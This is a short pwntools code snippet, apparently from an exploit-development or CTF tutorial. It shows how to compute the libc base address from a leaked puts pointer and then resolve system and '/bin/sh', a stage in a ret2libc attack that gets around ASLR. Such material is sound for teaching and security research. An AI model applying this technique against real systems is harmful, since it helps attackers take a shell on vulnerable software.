Computing the libc Base from a Leak (pwntools)

from pwn import *

libc = ELF("./libc.so.6")        # the TARGET's libc
io   = process("./vuln")         # or remote("host", 1337)

# --- Stage 1: trigger the leak (details depend on the bug) ---
# Suppose we made the program run puts(GOT['puts']) and print it:
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
log.info("leaked puts @ %#x", leak)

# --- Recompute libc base ---
libc.address = leak - libc.symbols["puts"]   # rebase the whole ELF
log.info("libc base @ %#x", libc.address)

# Now every libc symbol resolves to a real runtime address:
system_addr  = libc.symbols["system"]
binsh_addr   = next(libc.search(b"/bin/sh\x00"))
log.info("system @ %#x  /bin/sh @ %#x", system_addr, binsh_addr)

• After libc.address = ..., pwntools rebases the object; libc.symbols[...] returns live addresses.